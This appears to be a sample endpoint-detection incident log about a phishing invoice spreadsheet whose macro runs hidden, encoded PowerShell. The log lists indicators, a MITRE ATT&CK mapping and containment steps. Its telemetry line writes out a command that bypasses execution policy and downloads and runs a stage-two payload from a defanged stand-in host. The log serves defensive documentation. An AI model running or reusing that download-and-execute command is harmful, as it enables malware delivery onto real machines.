EDR Incident Telemetry Log: Malicious Macro Execution

Event Log Reference: EDR-MACRO-2026-104 | Affected Host: FIN-WKS-04 | User: Accountant

Incident Overview & Attack Vector

Enterprise EDR sensors detected unauthorized process spawning from Microsoft Excel on finance workstation FIN-WKS-04. A weaponized spreadsheet attachment disguised as an overdue invoice executed an embedded VBA macro upon user enablement, bypassing execution policies to invoke an obfuscated PowerShell payload.

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Command-Line Process Telemetry: Parent: excel.exe (PID: 4688) -> Child: cmd.exe /c powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Enc aHR0cDovL2JhZC1wYXlsb2Fk... PowerShell Action: Invoke-WebRequest -Uri hxxp://bad-payload-delivery[.]example[.]com/stage2.exe -OutFile C:\Temp\svchost_update.exe Execution: C:\Temp\svchost_update.exe --inject-explorer
```

Process Execution Timeline & Indicators

Indicator Value	Type	Threat Context	Status
Invoice_October_Overdue.xlsm	Filename	Weaponized Malicious Document	Malicious
hxxp://bad-payload-delivery[.]example[.]com/stage2.exe	URL	Stager Payload URL	Malicious
bad-payload-delivery[.]example[.]com	Domain	Attacker Payload Host	Malicious
198.51.100.42	IPv4	C2 Command & Control Server	Malicious
c4ca4238a0b923820dcc509a6f75849b	MD5	Dropped svchost_update.exe Trojan	Malicious

MITRE ATT&CK; Mapping

- **T1566.001 (Spearphishing Attachment)**: Delivery of weaponized macro invoice document.
- **T1204.002 (User Execution: Malicious File)**: User enabling active macro content in Office.
- **T1059.001 (Command and Scripting Interpreter: PowerShell)**: Encoded PowerShell dropper execution.
- **T1055 (Process Injection)**: Attempted injection into explorer.exe.

Remediation & Forensic Containment

1. **Endpoint Quarantine**: Immediately isolate workstation FIN-WKS-04 from internal subnets.

2. **Process Termination**: Terminate rogue child processes and remove C:\Temp\svchost_update.exe.

3. **Firewall Block**: Blacklist destination IP 198.51.100.42 and domain bad-payload-delivery[.]example[.]com.

4. **Group Policy Hardening**: Enforce Microsoft Office GPO disabling macros in files downloaded from external zones.

Triage Assessment: HIGH SEVERITY (Score: 8.6 / 10.0)